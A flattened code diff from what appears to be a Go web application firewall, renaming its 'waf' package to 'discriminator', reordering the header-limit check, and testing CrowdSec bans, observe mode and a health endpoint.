func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds( func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{ s, clk, server, queue := startWithAlerts(t, map[string]string{
@@ -41,56 +39,44 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour)) expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
// Its first request is refused, and bans it until the decision ends. // Its first request is refused, and bans it until the decision ends.
banned := requestlog.ActionTemporarilyBanned line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
line := s.get(client, http.StatusForbidden, banned)
wantReputation(t, line, decisionsURL) wantReputation(t, line, decisionsURL)
if line.BanExpires != expires { if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
line.BanExpires, expires)
} }
listed := []bans.ReputationHit{{Source: decisionsURL}} listed := []bans.ReputationHit{{Source: decisionsURL}}
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec || if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
!held[0].Start.Equal(fetched) || !held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
!held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" || held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) || !reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 { held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
t.Fatalf( t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
"bans %+v, want one for crowdsec of four hours, with the list and "+ "the request in its notes", held)
"the request in its notes",
held,
)
} }
// The listing raises a reputation_hit alert, and the ban its own. // The listing raises a reputation_hit alert, and the ban its own.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit || if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "listed by the CrowdSec decision list" || waiting[0].Reason != "listed by the CrowdSec decision list" ||
!reflect.DeepEqual( !reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
waiting[1], expires)) {
banAlert(alerts.EventBan, fetched, client, held[0], t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
expires), waiting)
) {
t.Errorf(
"alerts waiting %+v, want a reputation_hit alert, then the ban's",
waiting,
)
} }
// Each request while the ban lasts is refused under it, as under any // Each request while the ban lasts is refused under it, as under any
// ban, and once it has ended the client is let through. // ban, and once it has ended the client is let through.
clk.advance(4*time.Hour - time.Second) clk.advance(4*time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, banned) line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantReputation(t, line) wantReputation(t, line)
if line.BanExpires != expires { if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
line.BanExpires, expires)
} }
clk.advance(time.Second) clk.advance(time.Second)
@@ -105,12 +91,8 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
`instance="`+alertInstance+`"}`, 1) `instance="`+alertInstance+`"}`, 1)
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1) wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric( wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
t, float64(fetched.Unix()))
metrics,
"sww_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix()),
)
} }
func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) { func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
@@ -123,24 +105,13 @@ func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+ `"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`) `"value": "`+client+`"}]`)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client, wantHeuristic(t, line, "crowdsec", `{"scenario": "crowdsecurity/ssh-bf", `+
http.StatusForbidden, `"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`)
requestlog.ActionTemporarilyBanned,
)
wantHeuristic(
t,
line,
"crowdsec",
`{"scenario": "crowdsecurity/ssh-bf", `+
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`,
)
wantTags(t, line, "crowdsec") wantTags(t, line, "crowdsec")
} }
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt( func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{ s, clk, server := startWithClock(t, "", map[string]string{
@@ -158,44 +129,24 @@ func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(
// Just before its end, the decision bans a client in the netblock, and // Just before its end, the decision bans a client in the netblock, and
// one on an IPv6 address bans the address's group, the /64. // one on an IPv6 address bans the address's group, the /64.
clk.advance(time.Minute - time.Nanosecond) clk.advance(time.Minute - time.Nanosecond)
s.get( s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
"198.51.100.7", s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
http.StatusForbidden, s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::9",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::5",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
// Once it has ended, it bans no other client, and the bans it made end // Once it has ended, it bans no other client, and the bans it made end
// with it. // with it.
clk.advance(time.Nanosecond) clk.advance(time.Nanosecond)
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} { for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
wantReputation( wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
t,
s.get(from, http.StatusOK, requestlog.ActionForward),
)
} }
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 { if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
t.Errorf( t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
"%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+ "2001:db8::/64", made)
"2001:db8::/64",
made,
)
} }
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len( if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
held,
) != 1 {
t.Errorf("bans of 2001:db8::/64 %+v, want one", held) t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
} }
} }
@@ -224,19 +175,16 @@ func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan || if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
waiting[1].Detail["cause"] != bans.CauseCrowdSec || waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
waiting[1].Detail["mode"] != observe { waiting[1].Detail["mode"] != observe {
t.Errorf( t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
"alerts waiting %+v, want a reputation_hit alert, then the ban alert "+ "marked observe", waiting)
"marked observe",
waiting,
)
} }
} }
// loadDecisions puts into server's lists the copy of the decision list at // loadDecisions puts into server's lists the copy of the decision list at
// decisionsURL, answer, the engine's answer, fetched at fetched, as // decisionsURL, answer, the engine's answer, fetched at fetched, as
// lists.json would at start. // reputation.json would at start.
func loadDecisions( func loadDecisions(
t *testing.T, server *waf.Server, fetched time.Time, answer string, t *testing.T, server *discriminator.Server, fetched time.Time, answer string,
) { ) {
t.Helper() t.Helper()
@@ -1,6 +1,6 @@
package waf package discriminator
// The heuristic deny_nets. It reads SWW_WAF_DENY_NETS. // The heuristic deny_nets. It reads SWW_DENY_NETS.
import ( import (
"context" "context"
@@ -9,7 +9,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// denyNets refuses a client in SWW_WAF_DENY_NETS. Its figure is the netblock of // denyNets refuses a client in SWW_DENY_NETS. Its figure is the netblock of
// the setting the client is in. // the setting the client is in.
type denyNets struct{} type denyNets struct{}
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"bytes" "bytes"
@@ -18,8 +18,8 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// The headers of rproxy's question and of waf's answer, as // The headers of rproxy's question and of discriminator's answer, as
// "waf" in SPEC.md gives them. // "discriminator" in SPEC.md gives them.
const ( const (
// ClientHeader marks a request as rproxy's question, and gives the // ClientHeader marks a request as rproxy's question, and gives the
// visitor's address. // visitor's address.
@@ -28,7 +28,7 @@ const (
PeerHeader = "X-Sww-Peer" PeerHeader = "X-Sww-Peer"
// ContentLengthHeader gives the body length the visitor announced. // ContentLengthHeader gives the body length the visitor announced.
ContentLengthHeader = "X-Sww-Content-Length" ContentLengthHeader = "X-Sww-Content-Length"
// DispositionHeader gives waf's answer. // DispositionHeader gives discriminator's answer.
DispositionHeader = "X-Sww-Disposition" DispositionHeader = "X-Sww-Disposition"
) )
@@ -40,13 +40,13 @@ const (
// headers and body. // headers and body.
DispositionDeny = "deny" DispositionDeny = "deny"
// DispositionClose tells rproxy to close the visitor's connection // DispositionClose tells rproxy to close the visitor's connection
// without an answer, which SWW_WAF_BAN_RESPONSE asks for when it is close. // without an answer, which SWW_BAN_RESPONSE asks for when it is close.
// waf closing the question's connection instead would read as // discriminator closing the question's connection instead would read as
// waf being down, and rproxy would then let the request through. // discriminator being down, and rproxy would then let the request through.
DispositionClose = "close" DispositionClose = "close"
) )
// ReportPath is where rproxy sends the report of each request waf // ReportPath is where rproxy sends the report of each request discriminator
// answered. // answered.
const ReportPath = "/_sww/report" const ReportPath = "/_sww/report"
@@ -70,11 +70,11 @@ const (
// maxReportedMilliseconds is the longest duration a report may give, // maxReportedMilliseconds is the longest duration a report may give,
// about 31 years, so that it fits a time.Duration. // about 31 years, so that it fits a time.Duration.
maxReportedMilliseconds = 1e12 maxReportedMilliseconds = 1e12
// wafTimeout bounds how long a request to waf takes to // discriminatorTimeout bounds how long a request to discriminator takes to
// arrive, and its answer to leave, and wafIdleTimeout how long a // arrive, and its answer to leave, and discriminatorIdleTimeout how long a
// kept-open connection waits for its next request. // kept-open connection waits for its next request.
wafTimeout = 60 * time.Second discriminatorTimeout = 60 * time.Second
wafIdleTimeout = 120 * time.Second discriminatorIdleTimeout = 120 * time.Second
) )
var ( var (
@@ -97,7 +97,7 @@ type Report struct {
DurationUpstreamTotalMS float64 `json:"duration_upstream_total_ms"` DurationUpstreamTotalMS float64 `json:"duration_upstream_total_ms"`
} }
// New returns the server `sww waf` runs. It answers // New returns the server `sww discriminator` runs. It answers
// rproxy's questions, takes rproxy's reports and answers its own endpoints. It // rproxy's questions, takes rproxy's reports and answers its own endpoints. It
// passes nothing to an app. rproxy applies the size and time limits to the // passes nothing to an app. rproxy applies the size and time limits to the
// visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it // visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
@@ -108,15 +108,12 @@ func New(params Params) *Server {
return &Server{ return &Server{
Server: &http.Server{ Server: &http.Server{
Addr: params.Config.ListenAddr, Addr: params.Config.ListenAddr,
Handler: h, Handler: h,
ErrorLog: slog.NewLogLogger( ErrorLog: slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn),
params.ProcessLog.Handler(), ReadTimeout: discriminatorTimeout,
slog.LevelWarn, WriteTimeout: discriminatorTimeout,
), IdleTimeout: discriminatorIdleTimeout,
ReadTimeout: wafTimeout,
WriteTimeout: wafTimeout,
IdleTimeout: wafIdleTimeout,
}, },
Ledger: h.ledger, Ledger: h.ledger,
Limiter: h.limiter, Limiter: h.limiter,
@@ -131,8 +128,8 @@ func New(params Params) *Server {
} }
} }
// ServeHTTP handles one request to waf: a request carrying // ServeHTTP handles one request to discriminator: a request carrying
// ClientHeader is rproxy's question, and any other is for waf // ClientHeader is rproxy's question, and any other is for discriminator
// itself. // itself.
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if len(r.Header.Values(ClientHeader)) > 0 { if len(r.Header.Values(ClientHeader)) > 0 {
@@ -146,9 +143,10 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// refusedWhateverTheAnswer reports whether the request is one that does not wait // refusedWhateverTheAnswer reports whether the request is one that does not wait
// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about // for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
// its client: the heuristic crowdsec, blocklists or rate_limits will refuse it, // its client: the heuristic crowdsec, header_limits, blocklists or rate_limits
// as a function in that heuristic's file says. In observe mode, which refuses // will refuse it, as a function in that heuristic's file says. In observe mode,
// nothing, none is. rproxy lets a request through when waf answers too late. // which refuses nothing, none is. rproxy lets a request through when
// discriminator answers too late.
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool { func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
if rq.h.config.Observe { if rq.h.config.Observe {
return false return false
@@ -156,7 +154,7 @@ func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
_, decided := rq.crowdSecDecisionInForce(now) _, decided := rq.crowdSecDecisionInForce(now)
return decided || return decided || overHeaderLimits(rq.headerCounts()) ||
rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) || rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
rq.overAWholeRateLimit(now) rq.overAWholeRateLimit(now)
} }
@@ -173,13 +171,8 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
// One that cannot be read leaves the log line's peer_ip invalid. // One that cannot be read leaves the log line's peer_ip invalid.
peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader)) peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader))
rq := h.startRequest( rq := h.startRequest(w, asTheVisitorSentIt(r, body), client.Unmap(), peer.Unmap(),
w, true)
asTheVisitorSentIt(r, body),
client.Unmap(),
peer.Unmap(),
true,
)
// The last deferred runs first, so that what is held has the finished log // The last deferred runs first, so that what is held has the finished log
// line. Go's server sends the answer only once this function has // line. Go's server sends the answer only once this function has
// returned, so the report cannot come before it is held. // returned, so the report cannot come before it is held.
@@ -187,7 +180,7 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
defer rq.finish() defer rq.finish()
rq.site = r.Host rq.site = r.Host
rq.line.WAFLine = requestlog.WAFLineDecision rq.line.DiscriminatorLine = requestlog.DiscriminatorLineDecision
refused := rq.check(r.Context()) refused := rq.check(r.Context())
rq.checked = time.Now() rq.checked = time.Now()
underOwnPrefix := strings.HasPrefix(r.URL.Path, ownEndpointPrefix) underOwnPrefix := strings.HasPrefix(r.URL.Path, ownEndpointPrefix)
@@ -213,24 +206,19 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
return return
} }
// The app never sees this prefix. waf's own endpoints are at its // The app never sees this prefix. discriminator's own endpoints are at its
// own address, so this answers as a path with no endpoint does. // own address, so this answers as a path with no endpoint does.
rq.line.Action = requestlog.ActionOwnEndpoint rq.line.Action = requestlog.ActionOwnEndpoint
rq.out.Header().Set(DispositionHeader, DispositionDeny) rq.out.Header().Set(DispositionHeader, DispositionDeny)
http.Error( http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
rq.out,
http.StatusText(http.StatusNotFound),
http.StatusNotFound,
)
} }
// readQuestion returns the visitor's address and the body a question carries, // readQuestion returns the visitor's address and the body a question carries,
// and whether waf takes the question. It answers a question it does not // and whether discriminator takes the question. It answers a question it does not
// take with 400 and no disposition. rproxy passes that 400 to the visitor, // take with 400 and no disposition, which rproxy treats as it treats no
// and SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION does not apply. The id of // answer. The id of a question it takes is held from here on, without a
// a question waf takes is held from here on, without a decision yet, so // decision yet, so that another question with that id is refused while this
// that another question with that id is refused while this one is being // one is being handled.
// handled.
// //
// The body is read before any check, since Go's server does not send an answer // The body is read before any check, since Go's server does not send an answer
// until it has read the body. A question whose body stops arriving gets no // until it has read the body. A question whose body stops arriving gets no
@@ -252,9 +240,7 @@ func (h *handler) readQuestion(
return netip.Addr{}, nil, false return netip.Addr{}, nil, false
} }
body, err := io.ReadAll( body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes))
http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes),
)
if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge { if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge {
h.refuseQuestion(w, "the body is over 64 KiB") h.refuseQuestion(w, "the body is over 64 KiB")
@@ -263,11 +249,7 @@ func (h *handler) readQuestion(
} }
if err != nil { if err != nil {
h.processLog.Warn( h.processLog.Warn("a question's body stopped arriving", "error", err.Error())
"a question's body stopped arriving",
"error",
err.Error(),
)
// This panic has Go's server close the connection without an answer, // This panic has Go's server close the connection without an answer,
// and log nothing. // and log nothing.
panic(http.ErrAbortHandler) panic(http.ErrAbortHandler)
@@ -275,10 +257,7 @@ func (h *handler) readQuestion(
held, _ := h.awaitingReport.ContainsOrAdd(id, nil) held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
if held { if held {
h.refuseQuestion( h.refuseQuestion(w, requestIDHeader+" is the id of a request discriminator holds")
w,
requestIDHeader+" is the id of a request waf holds",
)
return netip.Addr{}, nil, false return netip.Addr{}, nil, false
} }
@@ -286,14 +265,14 @@ func (h *handler) readQuestion(
return client, body, true return client, body, true
} }
// refuseQuestion answers a question waf does not take, for reason. // refuseQuestion answers a question discriminator does not take, for reason.
func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) { func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
h.processLog.Warn("a question is refused", "reason", reason) h.processLog.Warn("a question is refused", "reason", reason)
http.Error(w, reason, http.StatusBadRequest) http.Error(w, reason, http.StatusBadRequest)
} }
// asTheVisitorSentIt returns a copy of r, a question, as the checks and the // asTheVisitorSentIt returns a copy of r, a question, as the checks and the
// log line are to see it: without the headers rproxy adds for waf, // log line are to see it: without the headers rproxy adds for discriminator,
// with body, which has been read of r, and with the length the visitor // with body, which has been read of r, and with the length the visitor
// announced, as -1 when it announced none. The question's own length covers // announced, as -1 when it announced none. The question's own length covers
// only the part of the body it carries. // only the part of the body it carries.
@@ -323,7 +302,7 @@ func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
} }
// allow answers a question with DispositionAllow and, while // allow answers a question with DispositionAllow and, while
// SWW_WAF_ADD_LOOKUP_HEADERS is set, the client's AS number and country. // SWW_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
func (rq *request) allow() { func (rq *request) allow() {
rq.allowed = true rq.allowed = true
@@ -349,7 +328,7 @@ func (rq *request) deny(r refusal) {
rq.refused = &r rq.refused = &r
if r.status == 0 { if r.status == 0 {
// SWW_WAF_BAN_RESPONSE is close. Written past rq.out, since the log line's // SWW_BAN_RESPONSE is close. Written past rq.out, since the log line's
// status stays 0: the visitor is sent nothing. // status stays 0: the visitor is sent nothing.
rq.out.Header().Set(DispositionHeader, DispositionClose) rq.out.Header().Set(DispositionHeader, DispositionClose)
rq.out.ResponseWriter.WriteHeader(http.StatusOK) rq.out.ResponseWriter.WriteHeader(http.StatusOK)
@@ -361,7 +340,7 @@ func (rq *request) deny(r refusal) {
http.Error(rq.out, http.StatusText(r.status), r.status) http.Error(rq.out, http.StatusText(r.status), r.status)
} }
// answerOwnEndpoint answers a request to waf's own address. No check // answerOwnEndpoint answers a request to discriminator's own address. No check
// runs on it: the address is on the private network, where the peers are // runs on it: the address is on the private network, where the peers are
// rproxy and the admin's tools, not visitors. // rproxy and the admin's tools, not visitors.
func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) { func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
@@ -412,9 +391,7 @@ func (h *handler) takeReport(w http.ResponseWriter, r *http.Request) {
func readReport(w http.ResponseWriter, r *http.Request) (Report, error) { func readReport(w http.ResponseWriter, r *http.Request) (Report, error) {
var report Report var report Report
body, err := io.ReadAll( body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, reportBodyMaxBytes))
http.MaxBytesReader(w, r.Body, reportBodyMaxBytes),
)
if err != nil { if err != nil {
return report, fmt.Errorf("read the body: %w", err) return report, fmt.Errorf("read the body: %w", err)
} }
@@ -470,22 +447,15 @@ func (report *Report) checkRanges() error {
// request to its client's history, the anomaly counters and the metrics, with // request to its client's history, the anomaly counters and the metrics, with
// the status and bytes the report gives. A denied request's counting was // the status and bytes the report gives. A denied request's counting was
// finished at its decision. ctx is the report's own context. // finished at its decision. ctx is the report's own context.
func (h *handler) finishWith( func (h *handler) finishWith(ctx context.Context, held *decision, report Report) {
ctx context.Context,
held *decision,
report Report,
) {
rq := &request{ rq := &request{
decision: *held, decision: *held,
h: h, h: h,
out: &responseWriter{ out: &responseWriter{status: report.Status, bytes: report.ResponseBytes},
status: report.Status,
bytes: report.ResponseBytes,
},
requestBytes: report.RequestBytes, requestBytes: report.RequestBytes,
} }
rq.line.WAFLine = requestlog.WAFLineReport rq.line.DiscriminatorLine = requestlog.DiscriminatorLineReport
rq.line.Status = report.Status rq.line.Status = report.Status
rq.line.RequestBytes = report.RequestBytes rq.line.RequestBytes = report.RequestBytes
rq.line.ResponseBytes = report.ResponseBytes rq.line.ResponseBytes = report.ResponseBytes
@@ -498,13 +468,9 @@ func (h *handler) finishWith(
rq.countAnomalies() rq.countAnomalies()
rq.addToHistory() rq.addToHistory()
rq.h.metrics.RequestReported( rq.h.metrics.RequestReported(&rq.line,
&rq.line,
time.Duration(report.DurationTotalMS*float64(time.Millisecond)), time.Duration(report.DurationTotalMS*float64(time.Millisecond)),
time.Duration( time.Duration(report.DurationUpstreamTotalMS*float64(time.Millisecond)))
report.DurationUpstreamTotalMS*float64(time.Millisecond),
),
)
} }
rq.writeLine() rq.writeLine()
File diff suppressed because it is too large. Load diff
@@ -1,6 +1,6 @@
package waf package discriminator
// The heuristic dnsbl. It reads SWW_WAF_DNSBL_ABUSEIPDB_ACTION, and the DNSBL zones' // The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
// verdicts through the DNSBL checker. // verdicts through the DNSBL checker.
import ( import (
@@ -14,7 +14,7 @@ import (
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed // dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses // does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
// the request when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny. Being // the request when SWW_REPUTATION_ACTION is deny. Being
// limit, it lowers the client's limits instead (see limitPercentages), and // limit, it lowers the client's limits instead (see limitPercentages), and
// being log, it does nothing more. A zone without a verdict on the client is // being log, it does nothing more. A zone without a verdict on the client is
// asked about it in the background, and the request does not wait for the // asked about it in the background, and the request does not wait for the
@@ -32,7 +32,7 @@ func (dnsbl) check(ctx context.Context, rq *request, _ time.Time) *verdict {
rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone)) rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone))
} }
if !rq.dnsblListed || rq.h.config.DNSBLAbuseIPDBAction != deny { if !rq.dnsblListed || rq.h.config.ReputationAction != deny {
return nil return nil
} }
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic header_limits. It reads no setting: its limits are fixed. // The heuristic header_limits. It reads no setting: its limits are fixed.
@@ -10,27 +10,22 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// The header limits: the most cookies and header fields a request may have. // The header limits: the most cookies and header fields a request may have
// Real clients never reach them. // when the checks reach the Core Rule Set. Real clients never reach them.
const ( const (
maxCookies = 50 maxCookies = 50
maxHeaderFields = 100 maxHeaderFields = 100
) )
// headerLimits refuses a request with more than maxHeaderFields header fields // headerLimits refuses a request over the header limits, with 431. Its figures
// or more than maxCookies cookies, with 431. Its figures are the request's // are the request's header fields and cookies, and the limit of each.
// header fields and cookies, and the limit of each.
type headerLimits struct{} type headerLimits struct{}
func (headerLimits) name() string { return "header_limits" } func (headerLimits) name() string { return "header_limits" }
func (headerLimits) check( func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
fields, cookies := rq.headerCounts() fields, cookies := rq.headerCounts()
if fields <= maxHeaderFields && cookies <= maxCookies { if !overHeaderLimits(fields, cookies) {
return nil return nil
} }
@@ -43,6 +38,13 @@ func (headerLimits) check(
} }
} }
// overHeaderLimits reports whether a request with these counts of header fields
// and cookies, as headerCounts counts them, is over the header limits: it has
// more than maxHeaderFields fields or more than maxCookies cookies.
func overHeaderLimits(fields, cookies int) bool {
return fields > maxHeaderFields || cookies > maxCookies
}
// headerCounts returns the request's header fields, each value of a header sent // headerCounts returns the request's header fields, each value of a header sent
// twice being one, and its cookies, each part of a Cookie header between // twice being one, and its cookies, each part of a Cookie header between
// semicolons being one unless it is empty or only spaces and tabs. The Core // semicolons being one unless it is empty or only spaces and tabs. The Core
+41
View File
@@ -0,0 +1,41 @@
package discriminator_test
import (
"net/http"
"testing"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
t.Parallel()
// With a limit of one request a minute, any request counted before
// the last one would have it refused.
s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
const (
healthChecks = 3
contentType = "text/plain; charset=utf-8"
)
for range healthChecks {
got := s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "",
http.StatusOK)
if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
"with %q", got.body, got.header.Get("Content-Type"), contentType)
}
}
s.get(client, http.StatusOK, requestlog.ActionForward)
for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
if line.ResponseContentType != contentType {
t.Errorf("health check's log line has response_content_type %q, "+
"want %q", line.ResponseContentType, contentType)
}
}
}
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"context" "context"
@@ -7,9 +7,9 @@ import (
// To add a heuristic, write one file with a type that implements heuristic, // To add a heuristic, write one file with a type that implements heuristic,
// and add one line for it to one of the lists below. Its settings go in // and add one line for it to one of the lists below. Its settings go in
// config.WAF, and the comment at the top of its file names them. // config.Config, and the comment at the top of its file names them.
// heuristic is one of the checks that decide what waf does with a // heuristic is one of the checks that decide what discriminator does with a
// request. // request.
type heuristic interface { type heuristic interface {
// name is the heuristic's name, which the log line gives. // name is the heuristic's name, which the log line gives.
@@ -37,15 +37,12 @@ const (
) )
// The lists of heuristics, each in the order its heuristics run. A client in // The lists of heuristics, each in the order its heuristics run. A client in
// SWW_WAF_ALLOW_NETS skips them all. // SWW_ALLOW_NETS skips them all.
// beforeLookup are the heuristics that run before the client's AS number and // beforeLookup are the heuristics that run before the client's AS number and
// country are looked up, so that a client they refuse is not looked up. // country are looked up, so that a client they refuse is not looked up.
// header_limits comes first: it only counts, and a request it refuses causes no
// other work.
func beforeLookup() []heuristic { func beforeLookup() []heuristic {
return []heuristic{ return []heuristic{
headerLimits{},
tagLists{}, tagLists{},
routeWatchTags{}, routeWatchTags{},
denyNets{}, denyNets{},
@@ -67,12 +64,13 @@ func afterLookup() []heuristic {
rateLimits{}, rateLimits{},
trapPaths{}, trapPaths{},
ruleFiles{}, ruleFiles{},
headerLimits{},
coreRuleSet{}, coreRuleSet{},
tagDeny{}, tagDeny{},
} }
} }
// afterAnswer are the heuristics that run on a request once waf has // afterAnswer are the heuristics that run on a request once discriminator has
// answered it, before its decision line is written. They ban the client, and do // answered it, before its decision line is written. They ban the client, and do
// not change what the request got: their verdict's action is not used. // not change what the request got: their verdict's action is not used.
func afterAnswer() []heuristic { func afterAnswer() []heuristic {
@@ -117,10 +115,7 @@ func (rq *request) runHeuristics(
// after_answer_heuristic_figures name the heuristic that gave a verdict, and // after_answer_heuristic_figures name the heuristic that gave a verdict, and
// give its figures, so that heuristic and heuristic_figures still name the one // give its figures, so that heuristic and heuristic_figures still name the one
